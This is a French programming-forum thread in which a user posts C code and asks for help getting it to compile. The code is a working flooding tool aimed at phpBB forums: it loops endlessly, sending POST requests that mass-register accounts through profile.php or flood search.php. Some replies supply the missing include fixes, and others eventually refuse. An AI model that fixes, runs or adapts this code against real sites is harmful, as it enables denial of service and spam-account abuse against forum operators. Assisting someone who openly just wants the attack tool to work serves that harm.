Programme en C avec erreurs

Programme en C avec erreurs - C - Programmation

Marsh Posté le 28-06-2005 à 10:48:08    

Bonjour à tous.
 
J'ai récemment trouvé un programme codé en C, mais contenant quelques erreurs. J'ai déjà corrigé quelques-unes d'entre elles, mais il en reste que je n'arrive pas à corriger, ce qui fait que mon compilateur refuse de compiler.
 
Voici le code source :
 

Code :
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <errno.h>
  5. #ifdef WIN32
  6. #include <winsock2.h>
  7. #pragma comment(lib, "ws2_32" )
  8. #pragma pack(1)
  9. #define WIN32_LEAN_AND_MEAN
  10. #else
  11. #include <unistd.h>
  12. #include <sys/types.h>
  13. #include <sys/socket.h>
  14. #include <netinet/in.h>
  15. #include <arpa/inet.h>
  16. #include <netdb.h>
  17. #endif
  18. #define __USE_GNU
  19. #define _XOPEN_SOURCE
  20. int Connection(char *, int);
  21. void Write_In(int , char *, char *a, char *, int);
  22. char Use(char *);
  23. int main(int argc, char *argv[])
  24. {
  25. int sock, x = 0;
  26. char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];
  27. puts("Ma premiere phrase" );
  28. puts("Ma seconde phrase" );
  29. puts("Ma troisieme phrase\n" );
  30. fflush(stdout);
  31. if(argc != 4) Use(argv[0]);
  32. while(1)
  33. {
  34. sock = Connection(Host,80);
  35. Write_In(sock, Path, Pro_Sea, Host, x);
  36. #ifndef WIN32
  37. shutdown(sock, SHUT_WR);
  38. close(sock);
  39. #else
  40. closesocket(sock);
  41. WSACleanup();
  42. #endif
  43. Pro_Sea = argv[2];
  44. x++;
  45. }
  46. return 0;
  47. }
  48. int Connection(char *Host, int Port)
  49. {
  50. #ifndef WIN32
  51. #define SOCKET int
  52. #else
  53. int error;
  54. WSADATA wsadata;
  55. error = WSAStartup(MAKEWORD(2, 2), &wsadata);
  56. if (error == SOCKET_ERROR)
  57. {
  58. perror("Could Not Start Up Winsock!\n" );
  59. return;
  60. }
  61. #endif
  62. SOCKET sockfd;
  63. struct sockaddr_in sin;
  64. struct in_addr *myaddr;
  65. struct hostent *h;
  66. if(Port <= 0 || Port > 65535)
  67. {
  68. puts("[-] Invalid Port Number\n" );
  69. fflush(stdout);
  70. exit(-1);
  71. }
  72. if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  73. {
  74. perror("socket() " );
  75. fflush (stdout);
  76. exit(-1);
  77. }
  78. if(isalpha(Host[0]))
  79. {
  80. if((h = gethostbyname(Host)) == NULL)
  81. {
  82. perror("gethostbyname() " );
  83. fflush (stdout);
  84. exit(-1);
  85. }
  86. }
  87. else
  88. {
  89. myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
  90. myaddr->s_addr=inet_addr(Host);
  91. if((h = gethostbyaddr((char *) &myaddr, sizeof(myaddr), AF_INET)) != NULL)
  92. {
  93. perror("gethostbyaddr() " );
  94. fflush (stdout);
  95. exit(-1);
  96. }
  97. }
  98. memset(&sin, 0, sizeof(sin));
  99. sin.sin_family = AF_INET;
  100. sin.sin_port = htons(Port);
  101. memcpy(&sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
  102. if(connect(sockfd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) <
  103. 0)
  104. {
  105. perror("connect() " );
  106. exit (-1);
  107. }
  108. return sockfd;
  109. }
  110. void Write_In(int sock, char *Path, char *Pro_Sea, char *Host, int x)
  111. {
  112. char *str1 = (char *)malloc(4*BUFSIZ), *str2 = (char *)malloc(4*BUFSIZ);
  113. char *req0 = "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.Cool"
  114. "Gecko/20050511 Firefox/1.0.4\r\n"
  115. "Accept: */*\r\n"
  116. "Accept-Language: en-us\r\n"
  117. "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
  118. "Accept encoding: gzip,deflate\r\n"
  119. "Keep-Alive: 300\r\n"
  120. "Proxy-Connection: keep-alive\r\n"
  121. "Content-Type: application/x-www-form-urlencoded\r\n"
  122. "Cache-Control: no-cache\r\n"
  123. "Pragma: no-cache\r\n";
  124. char *Profile = "%40admin&new_password=elpass&"
  125. "password_confirm=elpass&icq=&aim=&msn=&yim=&website=&"
  126. "location=&occupation=&interests=&signature=&viewemail=0&"
  127. "hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1"
  128. "&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english"
  129. "&style=1&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&"
  130. "mode=register&agreed=true&coppa=0&submit=Submit\r\n";
  131. char *Search = "&search_terms=any&search_author=*&"
  132. "search_forum=-1&search_time=0&search_fields=all&"
  133. "search_cat=-1&sort_by=0&sort_dir=DESC&show_results=topics&"
  134. "return_chars=200\r\n";
  135. if(strcmp("profile.php", Pro_Sea) == 0) sprintf(str1,
  136. "username=darkmaster__%d&email=NsT__%d%s", x, x, Profile);
  137. else if(strcmp("search.php", Pro_Sea) == 0)
  138. {
  139. Pro_Sea = "search.php?mode=results";
  140. sprintf(str1, "search_keywords=Hack%d%s", x, Search);
  141. }
  142. else
  143. {
  144. puts("Sorry. Try making the right choice" );
  145. exit(-1);
  146. }
  147. sprintf(str2, "POST %s%s HTTP/1.1\r\n"
  148. "Host: %s\r\n"
  149. "Referer: http://%s/rn%s"
  150. "Content-Length: %d\r\n\r\n%s", Path, Pro_Sea, Host, Host, req0,
  151. strlen(str1), str1);
  152. write(sock, str2, strlen(str2));
  153. write(1, ".", 1);
  154. fflush(stdout);
  155. }
  156. char Use(char *program)
  157. {
  158. fprintf(stderr,"

    • Use: %s <path> <search.php or profile.php> <Host>\n",
    • program);
    • fprintf(stderr,"[*] Example: %s profile.php http://forums.phpbb-fr.comn",
    • program);
    • fflush(stdout);
    • exit(-1);
    • }

Reply

Marsh Posté le 28-06-2005 à 10:48:08   

Reply

Marsh Posté le 28-06-2005 à 10:54:35    

salut tu dois avoir un probleme je vien de le tester avec anjuta et il me le compile sans erreur!!
 
voila ce qu'il me dit quand je lance ton proramme:
 

Citation :


Ma premiere phrase
Ma seconde phrase
Ma troisieme phrase
 



Message édité par shikra le 28-06-2005 à 10:59:45

---------------
L'abus de programmation est dangereux pour la sante!!
Reply

Marsh Posté le 28-06-2005 à 11:00:54    

Où puis-je télécharger Anjuta ?

Reply

Marsh Posté le 28-06-2005 à 11:05:33    

dans systeme-> configuration-> configurer ton ordinateur-> gestion de logiciel-> installer
tu est sous linux au moins??? :??:  
 
sinon  http://sourceforge.net/project/sho [...] _id=196047


---------------
L'abus de programmation est dangereux pour la sante!!
Reply

Marsh Posté le 28-06-2005 à 11:14:51    

foo.c: Dans la fonction « Connection »:
foo.c:92: attention : implicit declaration of function `isalpha'
 
 
 
sinon bravo, c'est crade à souhait

Reply

Marsh Posté le 28-06-2005 à 11:16:42    

ta une erreur Taz!!!pas moi???
comprend pas tout la!


---------------
L'abus de programmation est dangereux pour la sante!!
Reply

Marsh Posté le 28-06-2005 à 11:17:17    

#include <ctype.h>

Reply

Marsh Posté le 28-06-2005 à 11:17:19    

ben non, je suis sous windows

Reply

Marsh Posté le 28-06-2005 à 11:18:07    

Elle est où l'erreur isalpha ? Je la vois mais je sais pas comment la corriger.

Reply

Marsh Posté le 28-06-2005 à 11:22:44    

Et aussi celle dans la fonction "connection"... Excusez-moi mais je débute en C

Reply

Marsh Posté le 28-06-2005 à 11:22:44   

Reply

Marsh Posté le 28-06-2005 à 11:33:31    

y'a quelqu'un ?

Reply

Marsh Posté le 28-06-2005 à 11:36:07    

[citation]
#include <ctype.h>
[/citation]


---------------
L'abus de programmation est dangereux pour la sante!!
Reply

Marsh Posté le 28-06-2005 à 11:38:25    

DarK-SnipeR a écrit :

y'a quelqu'un ?


<ctype.h> est ansi que tu sois sous windows ou autre c'est pareil.
Quant aux erreurs que tu ne voies pas, configure ton compilo avec les warnings à fond et tu vas les voir.

Reply

Marsh Posté le 28-06-2005 à 11:48:45    

OK... Et où dois-je mettre ctype.h ? Comment corriger l'erreur isalpha et les 2 du début ?

Reply

Marsh Posté le 28-06-2005 à 11:50:22    

OK... Et où dois-je mettre ctype.h ? Comment corriger l'erreur isalpha et les 2 du début ?

Reply

Marsh Posté le 28-06-2005 à 11:59:47    

DarK-SnipeR a écrit :

OK... Et où dois-je mettre ctype.h ? Comment corriger l'erreur isalpha et les 2 du début ?


tu ajoutes un #include <ctype.h> sur la ligne qui suit le #include <errno.h> et tu recompiles :o
"les 2 du début ?" c'est çà?:

Citation :

foo.c: Dans la fonction « Connection »:
foo.c:92: attention : implicit declaration of function `isalpha'


si oui ben la réponse 1 va résoudre la question 2 [:moule_bite]

Reply

Marsh Posté le 28-06-2005 à 13:09:51    

L'erreur isalpha est résolue ! Merci beaucoup ;)
 
Il n'en reste plus qu'une :  
 

Code :
  1. sprintf(str2, "POST %s%s HTTP/1.1\r\n"
  2. "Host: %s\r\n"
  3. "Referer: http://%s/rn%s"
  4. "Content-Length: %d\r\n\r\n%s", Path, Pro_Sea, Host, Host, req0,
  5. strlen(str1), str1);
  6. write(sock, str2, strlen(str2));
  7. write(1, ".", 1);
  8. fflush(stdout);


 
Il me dit : "L 175 : 'write undeclared (first use this function)"

Reply

Marsh Posté le 28-06-2005 à 13:26:25    

up

Reply

Marsh Posté le 28-06-2005 à 13:37:40    

#include <io.h> ?

Reply

Marsh Posté le 28-06-2005 à 14:02:54    

tu sais sur les sockets, on fais plutot des send

Reply

Marsh Posté le 28-06-2005 à 14:11:37    

merci ;) je le mets où le io.h ?

Reply

Marsh Posté le 28-06-2005 à 14:12:52    

DTC, ça parait évident ...

Reply

Marsh Posté le 28-06-2005 à 14:25:40    

CQFD


---------------
L'abus de programmation est dangereux pour la sante!!
Reply

Marsh Posté le 28-06-2005 à 15:18:46    

Je suppose que c'est parmi les include du début, mais je ne sais pas trop où

Reply

Marsh Posté le 28-06-2005 à 15:20:31    

Ca y est, je l'ai mis correctement, merci pour votre aide ;)

Reply

Marsh Posté le 28-06-2005 à 15:27:50    

Euh... Désolé de vous harceler mais mon compilateur me donne des erreurs sans numéro de ligne et refuse de compiler :
 
http://membres.lycos.fr/bogosslandz/exploit3.gif

Reply

Marsh Posté le 28-06-2005 à 15:29:02    

tu utilise quoi comme compilateur??


---------------
L'abus de programmation est dangereux pour la sante!!
Reply

Marsh Posté le 28-06-2005 à 15:30:22    

il te donne des messages : erreurs de link

Reply

Marsh Posté le 28-06-2005 à 15:35:25    

mets io.h à la ligne 150

Reply

Marsh Posté le 28-06-2005 à 16:03:36    

Reply

Marsh Posté le 28-06-2005 à 16:15:58    

sinon j'utilise Dev-C++ v. 4.9.9.2

Reply

Marsh Posté le 28-06-2005 à 16:44:28    

up

Reply

Marsh Posté le 28-06-2005 à 16:45:52    

ca ne te dirait pas d'apprendre les bases du langage ? Parce que tu bloques sur des points plutôt triviaux, donc il serait bon que tu y mettes du tien

Reply

Marsh Posté le 28-06-2005 à 17:01:03    

En fait, je cherche juste à faire marcher ce programme, je n'ai pas le projet de devenir programmeur ou un truc comme ça ^^

Reply

Marsh Posté le 28-06-2005 à 17:03:06    

ben alors t'es pas sur le bon forum

Reply

Marsh Posté le 28-06-2005 à 17:08:20    

c'est un forum sur le c non ?

Reply

Marsh Posté le 28-06-2005 à 17:09:31    

DarK-SnipeR a écrit :

c'est un forum sur le c non ?


 
Non. Le forum se nomme "Programmation", et il y a une bonne raison à cela.

Reply

Marsh Posté le 28-06-2005 à 17:09:37    

c'est un forum d'entraide entre programmeurs et apprenants du C

Reply

Marsh Posté le 28-06-2005 à 17:12:58    

YESSSSS
 
En cherchant tout seul j'ai réussi à mettre l'include au bon endroit, fini les erreurs de lien. Quelle est l'erreur au niveau du write de la ligne 174 ? Et du void de la ligne 129 ?

Reply

Marsh Posté le 28-06-2005 à 17:13:35    

vas voir ailleurs.


Message édité par Taz le 28-06-2005 à 17:18:58
Reply

Marsh Posté le    

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed